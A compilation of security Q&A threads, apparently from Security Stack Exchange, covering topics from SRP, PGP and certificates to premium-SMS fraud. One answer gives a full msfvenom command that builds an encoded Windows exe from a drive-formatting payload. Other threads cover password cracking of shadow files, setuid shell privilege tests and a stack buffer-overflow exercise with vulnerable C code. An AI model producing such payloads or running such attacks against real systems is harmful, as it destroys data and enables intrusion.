Secure channel without identifying information Is there a way to establish a secure channel like ssl or ssh without leaking identifying information to an observer, especially the server's public key? Are there real implementations?

There are two parts to the security of an SSL/SSH channel: identity and security-against-eavesdropping.

If you want to not leak "identifying information," then you have no way to establish identity....... because that information is literally not there.

You can, however, establish communications secure from prying eyes by using a random key for every conversation. However, you won't be able to verify it's who you think it is, so you open yourself up to a MITM attack.

You COULD do something clever where you have a pre-shared secret and each side issues the other a challenge to sign a random, non-repeating identifier (like a guid). If both sides return the correctly-signed value, then both sides know they have previously shaken hands. I don't know if there's any standard like this anywhere.


Why isn't Secure Remote Password protocol being used in REST APIs? I have seen a few samples of SRP protocol used for web applications and I wonder why nobody ever uses it for RESTful authentication. I have done some research and I couldn't find any single example, not even one. SRP together with password hashing functions such as bcrypt, scrypt or pbkdf2 seems pretty solid to me, but it seems like nobody has tried it before which is odd. Am I missing something here that is conceptually contradictory? Does SRP protocol somehow remove RESTfulness?

Much of the adoption of technology is dependent on economics, and SRP is no exception.  Software shops are generally not going to spend or money on a specific technology which does not provide any sort of novel benefit.  For example, the benefit SRP would provide to an organization would be that they do not have to store passwords in their system.  OpenID already fulfills a similar role.  Choosing SRP means that an organization will have to incur the costs of developing the implementation, accept the risks of not implementing it correctly, and would provide no additional benefit over the cheaper method (OpenID, etc.)

SRP does not violate RESTful practices, as far as I'm aware.


Will extra rules to my diceware list generation scheme decrease security? I finished reading the Code Book by Simon Singh, I'm interested in playing with some of the ideas in the book to help increase my own understanding.  I don't intend to implement the following in any consequential settings; I'm only interested in exploring the security implications.

I want to generate alternate diceware lists that have quirks, like each word is typed with the left hand only, or keystrokes alternating hands when typing.  Assuming I can generate 7776 different strings, and am able to follow all of the other guidelines of diceware, are all diceware lists equally secure?

In the German Enigma Machine no letter could be encoded to itself (ex, a cannot be encoded to a). This detail helped crack the code.  However I don't think this applies here, the strength of the password doesn't rely on a cipher.  I don't see why 6 or 7 strings randomly chosen from a list of 7776 wouldn't have the same entropy, no matter the list.  Theoretically, it could just consist of 7776 different binary lines couldn't it?

I understand that additional rules to password generation sometimes decrease security.  If an attacker knows my diceware list, does it matter if every entry consists of only 15 unique characters of the left hand?  Is there less entropy?

Creating a length 10 string of characters randomly chosen from an alphabet of 7776 unique symbols will have a bit entropy of log(7776^10,2) or almost 129 and a quarter bits.

However as noted by Arnold G. Reinhold, 7776 is a lot of words and you tend to run out quickly when you start to talk about words that you can remember while presumably avoiding risque words when it's a password at work or possibly used to encrypt something you're going to send to someone else.

IMO: Both lists could use some work as typing out 10 randomly chosen words from either is quite the exercise in dexterity, and in practice copy/paste has issues with apostrophes, ellipsis and other annoying punctuations/emoji


Is there any reason to send file checksum for signed, encrypted files with MDC I am using OpenPGP and sending a signed, encrypted file with forced MDC (Modification Detection Code) over the network.

In typical file transfer scenarios where security is not in picture, an md5 checksum of file being transferred is sometimes sent along with the original file which can be useful for error detection by comparing checksums.

With signed, encrypted files with Modification Detection Code, process of decryption will immediate tell us if the file has been modified, whether accidentally or maliciously, because message integrity check would fail. With this feature of such encrypted files, is there still any benefit of sending checksum of the encrypted file along with the file?

Note: For Modification Detection Code, see http://tools.ietf.org/html/rfc4880#page-51

The MDC spec allows you to request a specific hash. The default, MD5, is now considered deprecated.  All MDC implementations are required to support SHA-1.  You can also request SHA256 or SHA512.

Assuming you have a sufficiently secure hash in use with MDC, there's no reason to attach another.


How to securely store application data on mobile device How can security be enhanced to the maximum in a messaging app storing messaging history on the device (like whatsapp)?
I am specifically referring to methods to minimize the risk of the data being stolen in case the device is physically compromised or compromised using malware.
I know that whatsapp encrypt the file containing the chat history, nevertheless when you transfer this file between devices you can still open it up with whatsapp and read the contents. So what risk is this protection meant to mitigate?
I know that the filesystem restricts access so that only the application can access its files - that means that as long as the device isn't compromised, this information cannot be accessed by a malicious entity. Is this assumption correct?
I've seen in another thread that there is an ability to use the SIM card as a means of providing security - Securing data on a mobile device (even from the user/owner)?
Is this applicable in my scenario?

You would do it the same way you'd do it on a computer, but once the machine is compromised, all bets are off, and you're mostly wasting your time. You may check out this related question on which my answer suggests deriving a key from the hardware and using it to encrypt the sensitive data but even then, that only buys you more time until the attacker reverse-engineers how your app generates this key and generates the same one using his malware running on the same phone (thus having access to the same hardware).

An HSM may help in this case but if your app can get the data off the HSM, so can the attacker with root access to the machine. HSMs are only effective against data that isn't supposed to get off of them, like private keys (they're generated on the HSM, the HSM itself uses them to do crypto operations on data sent by the host machine but it never reveals the actual keys), but that isn't applicable in your case since you want to protect a message history which the user would want to read (ie, get back from the HSM).


iPad as a secure access terminal I administer a number of linux servers (hosted on EC2 and linode) which provide VPN termination for thirty-odd users. I'm considering ditching my Macbook running OSX / Ubuntu in favour of setting up a server on one of the public clouds and using an iPad to access my 'computer in the cloud'. These are my assumptions :

A web browser + flash is probably the most risky piece of software you can run if you are concerned with security, especially on general purpose Operating Systems. Using an iPad will provide me with a reasonable level of utility while limiting the risk of exploits delivered throught the browser / flash / java. All access to my servers will use One-Time-Passwords (Google Authenticator) on a separate device (an iPhone minus iCloud or anything else that could connect the two devices).
a hardened linux OS instance without any GUI / browser / flash using a non-privileged user account and only sshd listening + default deny iptables (inbound and outbound) could mostly limit the potential attack surface to the big four (cloud provider / kernel / ssh / iptables). I will probably also use an encrypted home directory using LUKS or truecrypt.

Is my thinking OK?

Wr

Your thinking is a bit weird. When browsing the Web, however you put it, a Web browser is necessarily involved, and there is little reason to believe that the browser in the iPad would be more secure than the browser in any operating system. There are even reasons to state that it would be less secure, because on the iPad you are constrained in your choices: you must use the iPad browser, and security updates are those from Apple, whether you like it or not. You can get exactly the same level of security from your Macbook by simply running a stock MacOS X with Safari, and installing updates when Apple says so (with the automatic "software update" system). Personally I find some Linux distributions more proactive in their update mechanisms, so I tend to give a bit more trust in the security of that OS.

As for Flash and Java, well, you always have the option of not installing them. On the iPad, you do not have the option of installing either; but on any other system you can just skip them. Of course, no Flash means no Flash.

A hardened Linux server is, yes, hardened. The important thing to make a system secure is not that it is minimal but that it is maintained.


How can I generate a binary from an payload without any other addons? For example how do I turn the payload/windows/format_all_drives into an exe without any other fancy addons?
(I am talking about using msfvenom FYI)

It's as simple as:
msfvenom -a x86 --platform windows -p windows/format_all_drives -e x86/shikata_ga_nai -f exe -o /tmp/1.exe

where the -a option is used to specify the architecture, the -p option is used to specify the payload, the -e option is used to specify the encoder, the -f option is used to specify the output format (exein this case) and the -o option is used to specify the file to write the binary to.

Note: I have never used metasploit in my life and wrote this answer purely from this and this (found by a simple google search).


How did my phone provider leak my MSISDN to an advertising website? On Tuesday something very strange happened and I haven't been able to definitively work out how.
I returned to the LastPass app on my iPhone where I'd been using the builtin browser. It's pretty clean since I only use it for sites where I log in directly from the 'Vault'.
The first mystery: on re-opening the browser, a page titled "PlayOGame" was loading in the foreground tab advertising some games.
A web page signed up my mobile number to a premium rate subscription
Immediately after page load (and I don't believe I clicked on this page), I received an SMS saying "You have subscribed to PLAYOGAME...".
Screenshots of page and SMS
EE couldn't tell me how it works
I phoned my provider - EE in the UK - who told me I had subscribed to this service by clicking on a link.
I asked how the company got my number (e.g. how EE gave it to them) - and he replied confidently  "it's the way internet works - websites can get your number through your data signal" ... (lol) ... which wasn't quite how I understood things...
The ad company couldn't tell me how it works
I got a similarly confused answer from Payguru, the company I had 'subscribed' to (who apparently hadn't heard of PlayOGame but were able to unsubscribe me). She told me that "98% of links on the internet are chargeable". Right.
I did manage to learn the payment mechanism is called "direct carrier billing" and that "one click on a website is sufficient to authorize payment"
The premium rate number REGULATOR couldn't tell me how it works
Finally I complained to the Phone-paid Services Authority - the UK regulator - who patiently recorded my complaint, but had no idea what I was talking about.
Is EE doing 'header enrichment'?
My first thought was this was like when O2 were 'accidentally' adding users' MSISDNs to every HTTP request.
I've subsequently learned this is called 'header enrichment' (implying this perhaps wasn't an accident). There are shady-looking forums talking about this alongside "one-click payment flows" and "msisdn recognition".
I inspected my outgoing HTTP headers in a requestbin and couldn't see any unusual headers. I tried the same with cookies using httpbin.org/cookies but nothing strange there either.
I found a couple of papers on this:

Privacy Leaks in Mobile Phone Internet Access
Header Enrichment or ISP Enrichment? Emerging Privacy Threats in Mobile Networks

In both papers they were able to detect these headers on their own webservers, but I am not... why not?
Could it be that EE are selectively sending headers only to advertisers, to make it harder to detect this behaviour? Is there another method I haven't thought of?
Does anyone have any insight on how this works?

In the mobile space delivering the right ad to the right person is difficult because there is no common standard for identity and addressability. We think we’re in a position to solve that. The second piece is the measurement of mobile; there are a lot of problems with getting good attribution data.
C. Hillier, VP of Verizon’s Precision Market Insights division

Edit: Update: PlayOGame's website
I found PlayOGame's website (visit with care! http://playogame.center) in LastPass's history (duh).
They're a company called AKMobile in Azerbaijan:
Organization: AKMobile LLC
Street: Khojali Avenue, Baku, Azerbaijan
City: Baku
State/Province: Baku
Postal Code: AZ1025
Country: AZ

It's not clear who is behind them, but this is in the Privacy Policy:

Log Data
Like many site operators, we collect information that your browser sends whenever you visit our Site ("Log Data").
This Log Data may include information such as your mobile number (MSISDN), browser type, browser version, the pages of our Site that you visit, the time and date of your visit, the time spent on those pages and other statistics.

It happens that you incurred in a fraud that is actually very common and requires a bit of carrier's technical cooperation. I know that it happened in Italy (source: Antitrust Authority), especially to Three users.
Premium-SMS services allow external content providers to provide mobile subscribers with SMS content that is supercharged, with charges divided between the provider and the carrier (as a fee for networking and payment processing costs). User is debited on his number, either pre-paid or subscribed.
It works essentially by technical arrangements with carrier providers, for which I could find no documentation. I am 80% sure that is a huge NDA barrier to see the technical APIs for premium services providers to carriers.
I have already seen a number of mobile carriers providing non-login access to self care portal when you are connected to their network, e.g. not using Wifi at home. Mostly all available in my country. They do authenticate you by ip address, which also means that anyone tethering on you may see remaining credit or data treshold. So it is not uncommon.
What EE ad other carriers might do without you to find out is selective transparent proxying, which explains why the second paper could be "outdated" to our scope.
Carrier might add the tracking header to HTTP requests targeting their partners' servers only. But I have no proof over it. I doubt that they can technically assign a unique IPv4 address to every device.
Consider that premium SMS services are not actually delivered by the Azerbaijani company (which tells most of the truth about the liability chain, with the highest respect to honest people born and living Azerbaijan), but from a company that has partnership agreements with the carrier. Consider this company I found during my search selling premium SMS services.
Consider also that to my knowledge carriers only charge for premium SMS received. This means that the carrier has no knowledge (or "row in their database") for subscription. If you have subscribed for 5£/week, that means you will get a weekly 5£ text saying "Your subscription is renewed". To summarize, your weekly charge is associated to that SMS, and in case network does not deliver (or realistically delays) that SMS you are free from any charge until you receive it.
It is important to note that not everyone can send a premium SMS to subscribers and get money. Carriers do make agreements (and open logical channels) only with companies they trust in order to avoid a massive SMS bombing, for which the carriers are responsible under all consumer regulations. The mechanism starts to break when those SMS providers allow other companies to be their premium SMS customers (right wording is suppliers) and do not enforce careful checks on their ability to start a subscription without explicit user confirmation.
From my experience with the Italian case, for which police investigations are slowly ongoing, particularly slow in this case, public opinion's conclusions are that 1) there is a lot of money involved in the premium SMS stuff, as carriers take a lot of fees, 2) the impact is divided in small fractions across multiple individuals, so the damage to the single customer is trivial, and 3) a lot of subscribers are hardly aware of being victim of the premium SMS scam, including a person I know in person who paid 5€/week for nothing. N. O. T. H. I. N. G. actually delivered to that person's phone. (see note 1)
The real supply chain, from EE, O2 or any other provider, to the Azerbaijani company can be as longer as you like. Matrioska-style chains are not uncommon.
Conclusions
You were surely victim of an ongoing scam that leverages the trust between the carrier and their partner networks, allowing their technical APIs to estabish a subscription without SMS confirmation. Not applicable to all carriers. Occurred with Three Italy with ease as described in linked article.
Often the advertising system is designed that your subscription starts when you click on a "I agree" button, but that click is stolen with common clickjacking techniques.
Your phone number was not necessarily leaked to advertising provider, but to content provider. Advertising provider knows your ISP.
You may demand your money back to your provider claiming you did not consent to the subscription. Under your regulation, the opposition of your carrier that you have clicked "I agree" may be their burden to prove.
To my records, EU-regulated carriers should allow their customers to block all kinds of premium services by explicitly opting out from any future subscription. This has pros and cons. (e.g. you won't buy your bus ticket by SMS)
You can sue John Doe at your local police office, citing all information that suggests this specific content provider is scamming other people is also worth. Remember that you have been stolen only a small amount of money, and your local prosecutor must consider this.
Adding my linked article from Italian Antitrust to your complain at Phone Services Authority may help, so they are informed that a similar case occurred in another EU country.
Spreading the word with the help of a consumer association (I am thinking about the equivalent of American ACLU) may help start an investigation.
Note 1:

Why nothing delivered?
I tracked all the SMSes received by this person's 3g modem and when I found traces of the subscription to the premium service I never saw any method to retrieve the "contents" that were weekly available. Every SMS "This week new content for you". What is the "content"? How do I see that?


Brute force vs other methods of recovering passwords from shadow file Do you know any good approach for de-hashing/actually bruteforcing hashed passwords in the shadow file?

On various operating systems, any good solutions/methods/programs.

Or is it better to upload a hash to somewhere? A paying-or free site?

If you like speed, you can employ commercial tools supporting large-scale clustering, like:  http://www.elcomsoft.com/edpr.html (starts at $599)

Also, check out:
http://www.insidepro.com/eng/passwordspro.shtml
http://hashcat.net/
http://www.openwall.com/john/ (jtr, mentioned already in other posts)
http://www.l0phtcrack.com/

Here is a short blog entry from Nov. 2010 discussing the use of Amazon’s EC2 Cluster GPU instances to accelerate password cracking.
http://stacksmashing.net/2010/11/15/cracking-in-the-cloud-amazons-new-ec2-gpu-instances/

Good write-up from the “Crack Me If You Can” contest at DEFCON 2010:    http://contest.korelogic.com/team_john-users.html
 (description of contest: http://contest.korelogic.com/intro.html)

I think the best password dictionary site at this time is from SkullSecurity:  http://www.skullsecurity.org/wiki/index.php/Passwords

Another good set of password dictionaries: http://www.insidepro.com/eng/download.shtml

Read this PDF titled “Cracking Passwords Version 1.1”
This document is for people who want to learn to the how and why of password cracking. http://tools.question-defense.com/Cracking_Passwords_Guide.pdf

Good luck.


Notable XSS attacks in 2011 I am wondering what notable events in XSS attacks we saw in 2011. What big events hit the infosec community in regards of XSS?

I am thinking of specific events like for example the Samy worm in 2007 or the HBGary SQL Injection attack in 2011.

There were quite a few, but the ones that got a lot of news time over here:

3 on Facebook
CIA
UK Police
FBI


Unix/Linux shells which use effective UID instead of real UID My question is build on top of the answer of the question about SUID exploitation:

SUID not used after exploit

The person (official answer) is stating that:

  Many popular implementations of sh drop privileges when they start up: they reset their effective UID to their real UID. This includes bash, dash, mksh and BusyBox sh, so on Linux you won't see anything else.

So my question is which shells don't perform such critical security checks?

I tested it on my Ubuntu machine (18.04) and it seems that all shells are implementing such security checks:

ubuntu@ubuntu: cat /etc/shells
# /etc/shells: valid login shells
/bin/sh
/bin/bash
/bin/rbash
/bin/dash

If I run (make simplest possible check):

root@ubuntu: echo "secret" > root-file.txt
root@ubuntu: cp /bin/bash /tmp/foo && chmod u+s /tmp/foo
lowpriv@ubuntu: ./tmp/foo -c "cat root-file.txt"

I get for all shells (as expected):

cat: root-file.txt: Permission denied

So it works for all standard (shipped with Ubuntu) Ubuntu-shells.

At least fish, ksh93, yash and zsh are available in Ubuntu, but not installed by default, and don't drop privileges when they start. Perl and Python are installed by default and don't drop privileges.

This is not a “critical security check”. If an adversary can cause an interpreter to be setuid, they can also run code as that user. If they can inject code into a setuid program and they want to run a shell, they can upload their own interpreter that doesn't have a check, or leverage some non-shell interpreter such as perl, or run native code.

I think some shells have historically done this to prevent setuid scripts, which are a bad idea because it's very difficult to make a setuid shell script robust against all possible environment variables. They keep doing this today for backward compatibility, even though modern unices don't honor the setuid bit on scripts.


Is it correct to say that AVs use the same signature-based detection methods in emulation as they do on static binaries? Many malwares can be packed or encrypted and AVs will emulate their execution to allow them to unpack or decrypt themselves. Once they do, are AVs simply using the same hashing or pattern-matching techniques that they would use on a static binary or are they using different techniques altogether?

Disclosure: I work for an anti-malware vendor.

The answer is "it depends on malicious content".

If the malicious content is obfuscated or encrypted, but otherwise it is the same content which would be detected if not encrypted - the static analysis rules would be applied after the obfuscation/encryption layer is stripped down. The stripping in this case may involve proprietary decoders, emulators or other things. So for this case the answer would be "yes".

However if the malicious content is polymorphic/metamorphic, it cannot be stripped down to plain malicious content - there is nothing to unpack/decrypt. In this case the emulator or similar engine would be used to find out what exactly the malware is doing, and apply a different set of detection rules here. So for this case the answer would be "no".


Can I convert a public key to a private key? I am using pgp4usb for encryption and decryption. I accidentally deleted it but I still have my old (public) PGP key. Is it possible to import it and use it again as my private key?

The key is following:

-----BEGIN PGP PUBLIC KEY BLOCK----- Version: GnuPG v1

mQENBFTilRwBCADmxk9GpyZqo1dMwFz2406xUFiHF/76sqEuStGGHpv082jIPEqY
veH5x8xgFNfDp3Zliak2AD2gGuDkJGRcXshBfu2B2Dz4GxS8p4gLZAWYmfg1QRhT
EDjhV84F7zLlvr9BsRiY4xJ2ad9d8oB1BhhveSje2NNASeTn5gpilf6vKVRy07xi
ORJQdaTjATBWa3RWPriZ5hASrRZi0HxvaWQXAIOa4W4IlG/Ni3HimMPjS3eAFM/Z
emmmzh405uMlNHbnW9Q1ktUmzT2bDovCouH6Y8ngkNdLpcqJG1ZFT3EHp2FdFoQ/
uB8DYAJpdg4m7bUXvseon3dIljUlyuhGMAdtABEBAAG0HWNsdWNrZXIgPGNsdWNr
ZXJAaG90bWFpbC5jb20+iQE8BBMBCgAmBQJU4pUcAhsDBQkJZzRUBQsJCAcDBRUK
CQgLBBYCAQACHgECF4AACgkQI/m8bTSE8Wd08QgAs6MJBNmRF7p+u0F4hQaybWKH
FM3W1sgWhZm9hU4yHnzRgazDZupOZ0nAw/u3au8adiw3CZ9oj5C0U6exqf8X3qaj
fkijZgE6FL6sUnEH6zRTHyxpUFhJ+F2fpcc6XBkkBgLqOL73heWbsjfyjvkGhig9
YODX85S2oHSKL+kDjTj8Q1iqFYbxq8UNy3AjlmRA5l0A+kuDzL1s1VzPcLWJ5Odj
U4SO+GhX62GOi4GKWg09qLsIEcQLkZZ3FicWyWmA8OBTCVGII+URV2UoXCXVyhbr
oxOmK1XRjrNsI80enftK3/CWbkD+wF+8AWKVuCoZgkAm1QK4vzuYqE1NbydOwrkB
DQRU4pUcAQgAvXPb3vhocemMEmbzv4mcB+yozXqPKcGJ3pOVjdUtdc9uQ0XPYc1Y
2hAxzGe6iwD37fmMtK3JDB4CckPXaVa6aFaw+sZ8QGSIuagggwMV4h942kCTDIoT
TYsIYGF8ym8qRSHE0TwwvmBvOv/JVk4/5nqsT2eMwlRFIot+HTP/0/iEpI30frqS
/prxPdFUNJDShUGwcQgwc+ts+bB6uLFEZ7Bp7oLCkm/vTCxQhFIZrqh6EyNFIYvS
beQQt8sHVNP64Bksrmu+wbsoH/FwJPU8omsTMpKOFvkQ7u1EZtiiGbofPXr2rAEF
x9O7HD2ALM9jUc0bP9EqkmXVFsi1YAOVKwARAQABiQElBBgBCgAPBQJU4pUcAhsM
BQkJZzRUAAoJECP5vG00hPFn5lIH/jtVJU5xYp9I0YKYrpdQpYeTACIedli0Pj7Z
wpLqtfBAnPRQ9R1G//mIB3zWeoamBo4Vz40YigES18Qi3AqOQECocUAaUiMB721X
FMkmkRJzoAtnJqTRbqfUkwGOukxtHmyV0JzlKuz/dZ3cOW0Czd6flM6MYt7s7Zw9
4fZEZwMhwxwJJOUaZ4HifaC8QAOtipot/oMknDRJkDlcEsCooAFf5BOpO7JN+W5z
6q8T0/jfaU5m7VkjjxCQg5SBMxSRNGHha2K3AmSgV2bKMhx0mzlXkOzFx76xIh69
fTsCppBoTxXVE4q7qyhibKRZEbE6XX0/1SEbDjTPwyduFrI8kak=
=RnYx
-----END PGP PUBLIC KEY BLOCK-----

PGP is what is called an "asymmetric cryptosystem."  It is asymmetric because the key used to decrypt data is different than the key used to encrypt data.  In this case, you encrypt data with the public key, and then decrypt with the private key.  If you lose the private key, data encrypted with the public key is not recoverable.  In the case of a 2048-bit RSA key, chances are you will never be able to recover the key.

Take a look at the Wikipedia Article for a more thorough explanation.


Is javascript fingerprinting becoming obsolete? Okta recently sent out an email to admins about changes to their new device detection strategy.  According to them:

Due to browser advancements in anonymous web browsing, JavaScript fingerprinting techniques are quickly becoming obsolete. Google, Mozilla, Microsoft, and Apple are working to improve privacy, gradually resulting in inaccurate fingerprint detection.

How accurate is this claim that javascript fingerprinting techniques are quickly becoming obsolete?  This would have a major impact on multiple industries, including marketing, security (as evidenced by this email), and fraud detection.
I'd personally love to see all browser fingerprinting be hamstrung but I have to doubt that it's going anywhere but forward.

Fingerprinting is a cat and mouse game. Trackers are always finding new undocumented features that respond differently on each system, and browser makers always closing them as soon as they can. That's the "quickly becoming obsolete" part.
That means it does not work anymore? Not at all. It's that older fingerprinting tricks (those ancient ones from last year) don't bring as much as information as "back in the day." But newer ones will keep being developed and used, and browser vendors will keep plugging the holes.
An as privacy is looking more important now than was in the past, more and more people are aware of tracking, and using anti-tracking browsers and/or extensions. And I don't believe security and anti fraud industries are being heavy hit by this. Ad and tracking are being more impacted.
Fraud does not rely that much on fingerprinting, it's just one data point on the set. They have lots of points, and not knowing the browser being used will not blindfold them. But accessing, say, Amazon with a blank browser with no history at all makes impossible to them to profile me.


How to control the ciphersuites in nmap "ssl-enum-ciphers" There is a script for enumerating the TLS versions and ciphersuites ofered by a server provided by nmap. See this link.

Is there a way that allow me to specify the verisions and ciphersuites I want to test the server against? or at least know what the script's versions and ciphersuites that it tests the server against?

This is important because the server's answer actually depends on the client offer. So if the server does not support a cipher I want to make sure it is in the client's offered list.

The cipher suites tested within the ssl-enum-ciphers lua script are pulled from something called the TLS Cipher Suite Registry, more info here.

Looking at the output of running the suggested command for this type of enumeration, nmap -sV --script ssl-enum-ciphers -p 443 <host> we see the cipher suites (provided in the aforementioned Registry) that are tested during connection initialization were pulled from TLSv1.0, TLSv1.1, TLSv.1.2, but not yet TLSv1.3.

It should be noted, as provided from within the Registry, that:

  Although TLSv1.3 uses the same cipher suite space as previous
  versions of TLS, TLSv1.3 cipher suites are defined differently,
  only specifying the symmetric ciphers, and cannot be used for TLSv1.2.  Similarly, TLSv1.2 and lower cipher suite values cannot be
  used with TLSv1.3.

So if you are looking for testing only specific cipher suites then perhaps you could try a manual process rather than using the NSE. This might be a good resource to consult for trying other methods. Otherwise, by referring to the Registry you will be able to see all available cipher suites within their respective versions of TLS which will allow you to manually compare with those of the server's.

Hope this helps with what you are looking to accomplish.

Additional sources:
 - http://seclists.org/nmap-dev/2012/q3/156


Is there a best practice to handle vulnerability scanning attempts? We've found a number of attempts to access non-existent pages in our IIS logs, specifically a lot of variations on phpMyAdmin URLs.

My kneejerk reaction would be to block these IPs, but I have a feeling this is not really a "solution" since the likelihood of multiple attacks from the same IP address are pretty low.

So, is there a best practice here? Should we just ignore them? Should we use some third party tool (I've seen Snort and OSSEC mentioned on this site) to prevent these attempts?

I ignore them.   There will always be compromised systems continually scanning the entire Internet for arbitrary vulnerabilities.  Trying to block them is no more effective than spitting into the wind.  You'll get far more value out of focusing on the security of your servers and applications, and keeping an eye out for attackers who seem to specifically target you.   Chasing the bots and automated scanners will only waste your time.


Why do we not require websites to have several independent certificates? It is often cited as a primary point of concern that a single compromised CA can make for significant damage, as all websites (and other entities) that rely on this CA cannot be trusted anymore.

Pardon my ignorance, but why do we not require websites to be validated by, say, 3 certificates of independent CAs? Only if a majority of the certificates agrees on the websites validity, it would be considered acceptable. This seems to solve the above problem to a large degree.

If a certificate is issued without proper justification by a single CA, this would not make a website accepted. Only two compromised CAs at the same time could do this.
If a CA is not trusted anymore, websites which rely on it still work, as they are validated by two other CAs apart from the one that fell off. This means it is easier to revoke trust in a CA without 'breaking the internet'.

Obviously, such an idea would lead to additional work. But seeing as time and money spent do not increase linearly, this could be acceptable.

It is also easy to run this pattern in parallel to traditional infrastructure, as websites could specify either one or three certificates, and the new rules (and bonuses) would only apply to them.

why do we not require websites to be validated by, say, 3 certificates
  of independent CAs?

Here are a few reasons:

Cost.  Purchasing certificates is already somewhat expensive*; tripling that expense - and forcing purchasers to wade deeper into the pool of potential CAs, where they usually start at the cheap end - would not be welcomed.
Complexity.  Currently, if a certificate expires, the site is offline or degraded until IT can scurry around and fix it.  It happens surprisingly often given that expiration dates are known and can be planned for.  Your proposal would triple the number of certificates that need to be installed correctly, that need to be replaced before expiration, that need correct certificate chains...  Some of this stuff is hard enough today with just one CA!
Compatibility.  The TLS protocols do not specify a method of operation where multiple certificates must be validated, so you'd have to update or replace the protocol being used, which will take years.  There's no way to specify to the client that this particular server requires multi-certificate validation, so downgrade attacks are trivial - again, you'd need to create a method, and then wait years for support to percolate out.
Certificate Pinning.  Your idea says "Let's assume the CA model is broken, and as a solution increase our dependence upon the CA model."  If one CA can be compromised, why not two (assuming a 2/3 majority wins in your model)?  At that point you'll start saying, "Well, obviously we want to trust Entrust more than the Consolidated Republik of Tadpolistan" - at which point you've reached Certificate Pinning, which is already a thing.
WoT else? The other natural conclusion you'll reach, when you decide that some CAs are more trustworthy than others, is that there should be a method of incorporating reputability.  This is called the Web of Trust, and is a competing model to the Centralized Trust of CAs today.  One implementation of the WoT method is the Perspectives Project, which is an interesting approach to the same problem you describe (and which works in complement to, and in compatibility with, the existing CA model).

* Before someone jumps up and says "Startcom!" or "Let's Encrypt," please remember that businesses drive the CA model today.  They pay significant amounts of money, and some of them purchase thousands of certs annually.  The cost impact needs to be considered against all players.  (And even on the low end, if you want a free cert, now you would have to find 3 reputable free providers, when finding one was already a challenge.)


Does a VM keylogger listen to the keyboard activities of the host? I am running a Windows XP virtual machine on a Windows XP host machine. I use the VM for suspicious websites and software/applications. In the case a kaylogger will be installed on my VM: will this keylogger listen to the keyboard activities when I type on the host machine ?

It should not be able to, as keyboard press events (interrupts) will only be routed to the VM when the VM has focus.  Any other time, the keyboard press interrupts will be handled within the host OS, and thus would not be visible to the VM.

Of course, if you map your host keyboard as a raw device in the VM or otherwise redirect the interrupts, that would change things, but I assume you're asking about the common case.


How does firefox know when to display a green bar? Recently I've been working on creating a self signed CA and had some success.
Now I have a working CA with valid CRL server. The root CA has been deployed to all of my devices and had no problem.

But I have a question, I would like to sign SSL certs to display the green bar like other commercial EV SSL products. I looked into the parameters of those EV SSL certs but could not find any relevant variables. So I assume that the browsers have a separate way of knowing when to display the green bar.

I would like to know what it is and how to change it, especially for Firefox.

As stated by James F in an excellent answer at Server Fault:

  The way that EV SSL certificates work is to stick an authority-specific OID in the certificate policies extension field of the cert (which is a standard X.509 certificate otherwise).

  ...the reference OIDs for each authority are shipped as part of the browser's root store of certificates. The user interfaces don't let you add a new CA and say "this is an EV capable CA and the UID is a.b.c.d.e.f".

  I suppose it might be possible to build an open-source browser from source, adding your own CA's cert along with its EV oid to the root store, but you haven't really achieved much by doing so. The browser would no longer be compliant with the CA/Browser forum EV guidelines (which limit the EV-capable authorities).

  Wikipedia has more info on EV certificates here: https://en.wikipedia.org/wiki/Extended_Validation_Certificate

Sure, this looks like a conspiracy by CAs (and browser devs). Yet, this arrangement makes for a less chaotic world.

NOTE: You can issue an EV cert with a green bar in Firefox, but you have to get a debugging build according to http://sidstamm.com/evssl-trust/firefox-evca.html

Getting others to trust your browser may be a bit difficult, though.


Best efficient windows hardening audit script Do anyone know of a script that uses no third party executables (preferably a batch file) that can be used to audit windows machine state security wise? (including best practices features - gpo, services, shares, updates etc.) so one can run the script on a server/workstation and analyze the output elsewhere?

No, not really. A script really doesn't have enough reach within a Windows environment to get all of the information you would need. PowerShell might be able to do it, but I would be surprised if such a script exists. +1 if there really is one.

With that being said, your best bet may be the Baseline Security Analyzer by Microsoft: http://technet.microsoft.com/en-us/security/cc184923. The nice thing about it is that it can be scripted, however parts of it need to be installed on the workstation.


Deactivate Linux Shell to prevent "blind" login on router Today I analyzed my home router.

I connected a keyboard to the router's USB port, which is usually used for mass storage devices.
However, I pressed the key combination to reboot a Linux system from TTY (<Ctrl>-<Alt>-<Del>) multiple times. Afterwards the router actually rebooted.

Now, for me this is a strong indication I can blindly access a TTY with the keyboard. If I knew a username and a password I'd most likely be able to login.

To prevent this, the router manufacturer could disallow USB Keyboards.
But else what could they do to prevent this behaviour? Is it sufficiant to disable all TTYs? Can I build a Linux without a login possibility?

But else what could they do to prevent this behaviour?

Several possibilities:

Disable HID drivers in kernel.
Disable TTY support on kernel
Disable getty on TTY.
...

  Is it sufficiant to disable all TTYs?

Should be, yes.

  Can I build a Linux without a login possibility?

For sure. Most embedded firmware are built with Yocto or Buildroot. Using these tools you can do what you want. One can build a system that will only launch a custom init system that only implements what is needed.


Modify C code with buffer overflow vulnerability to skip code I'm trying to find a way to exploit the buffer overflow vulnerability in the following source code so the line, printf("x is 1") will be skipped:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void func(char *str) {
     char buffer[24];
     int *ret;
     strcpy(buffer,str);
}

int main(int argc, char **argv) {
    int x;
    x = 0;
    func(argv[1]);
    x = 1;
    printf("x is 1");
    printf("x is 0");
    getchar();
}

In order to do this, I want to modify the "func" function. I know that I will need to use the ret variable in order to modify the return address to just past the line I want to skip, but I'm not sure how to actually do that.

By using gdb, I was able to find the following calls in the main function:

Temporary breakpoint 1, 0x00000000004005ec in main ()
(gdb) x/20i $pc
=> 0x4005ec <main+4>:   sub    $0x20,%rsp
   0x4005f0 <main+8>:   mov    %edi,-0x14(%rbp)
   0x4005f3 <main+11>:  mov    %rsi,-0x20(%rbp)
   0x4005f7 <main+15>:  movl   $0x0,-0x4(%rbp)
   0x4005fe <main+22>:  mov    -0x20(%rbp),%rax
   0x400602 <main+26>:  add    $0x8,%rax
   0x400606 <main+30>:  mov    (%rax),%rax
   0x400609 <main+33>:  mov    %rax,%rdi
   0x40060c <main+36>:  callq  0x4005ac <func>
   0x400611 <main+41>:  movl   $0x1,-0x4(%rbp)
   0x400618 <main+48>:  mov    $0x4006ec,%edi
   0x40061d <main+53>:  mov    $0x0,%eax
   0x400622 <main+58>:  callq  0x400470 <printf@plt>
   0x400627 <main+63>:  mov    $0x4006f3,%edi
   0x40062c <main+68>:  mov    $0x0,%eax
